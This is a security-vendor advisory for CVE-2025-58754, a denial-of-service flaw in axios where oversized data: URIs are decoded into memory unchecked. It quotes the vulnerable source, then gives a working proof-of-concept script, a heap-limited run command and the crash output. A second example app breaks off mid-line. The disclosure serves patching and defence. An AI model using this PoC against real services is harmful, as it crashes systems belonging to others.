Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2025-58754 — axios

🟠 CVSS 8.0 — High ⚠️ Exploit Public CWE-770 OSV
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Axios is vulnerable to DoS attack through lack of data size check

Summary

When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response.

This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'.

Details

The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob.

Relevant code from [[httpAdapter](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231)](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):

```js

const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls);

const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined);

const protocol = parsed.protocol || supportedProtocols[0];

if (protocol === 'data:') {

let convertedData;

if (method !== 'GET') {

return settle(resolve, reject, { status: 405, ... });

}

convertedData = fromDataURI(config.url, responseType === 'blob', {

Blob: config.env && config.env.Blob

});

return settle(resolve, reject, { data: convertedData, status: 200, ... });

}

```

The decoder is in [[lib/helpers/fromDataURI.js](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27)](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):

```js

export default function fromDataURI(uri, asBlob, options) {

...

if (protocol === 'data') {

uri = protocol.length ? uri.slice(protocol.length + 1) : uri;

const match = DATA_URL_PATTERN.exec(uri);

...

const body = match[3];

const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8');

if (asBlob) { return new _Blob([buffer], {type: mime}); }

return buffer;

}

throw new AxiosError('Unsupported protocol ' + protocol, ...);

}

```

  • The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks.
  • It does not honour config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams.
  • As a result, a data: URI of arbitrary size can cause the Node process to allocate the entire content into memory.

In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [[maxContentLength](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550)](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs.

PoC

```js

const axios = require('axios');

async function main() {

// this example decodes ~120 MB

const base64Size = 160_000_000; // 120 MB after decoding

const base64 = 'A'.repeat(base64Size);

const uri = 'data:application/octet-stream;base64,' + base64;

console.log('Generating URI with base64 length:', base64.length);

const response = await axios.get(uri, {

responseType: 'arraybuffer'

});

console.log('Received bytes:', response.data.length);

}

main().catch(err => {

console.error('Error:', err.message);

});

```

Run with limited heap to force a crash:

```bash

node --max-old-space-size=100 poc.js

```

Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:

```

<--- Last few GCs --->

…

FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory

1: 0x… node::Abort() …

…

```

Mini Real App PoC:

A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS.

```js

import express from "express";

import morgan from "morgan";

import axios from "axios";

import http from "node:http";

import https from "node:https";

import { PassThrough } from "node:stream";

const keepAlive = true;

const httpAgent = new http.Agent({ keepAlive, maxSockets: 100 });

const httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 });

const axiosClient = axios.create({

timeout: 10000,

maxRedirects: 5,

httpAgent, httpsAgent,

headers: { "User-Agent": "axios-poc-link-preview/0.1 (+node)" },

validateStatus: c => c >= 200 && c < 400

});

const app = express();

const PORT = Number(process.env.PORT || 8081);

const BODY_LIMIT = proc

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity none, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: None.
  • Integrity impact: None.
  • Availability impact: High — total loss, or loss the attacker controls.

Weakness class

CVE-2025-58754 is classified as CWE-770: Allocation of Resources Without Limits. Resources are allocated on request with no cap, so a client can exhaust them.

Affected software

CVE-2025-58754 is recorded against 1 package.

  • axios

Timeline and source

Published on 11 September 2025 and last revised on 17 June 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from OSV.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Web)
github.com (Web)
github.com (Web)
github.com (Web)
github.com (Package)
github.com (Web)
github.com (Web)

Other advisories for this package

axios has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-770: Allocation of Resources Without Limits) in other software:

CVE-2025-58754 on other distributions

Each distribution ships its own build and its own fixed version. Pick the one you run:

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWE CWE-770
Public Exploit ⚠️ Yes
Source OSV
Published 2025-09-11
Updated 2026-08-20
Modified 2026-06-17

Affected Packages

Software From version Fixed in
axios — —

Exploit Protection

Are you running axios?

CVE-2025-58754 carries CVSS 8.0 High rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2025-58754 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2025
✓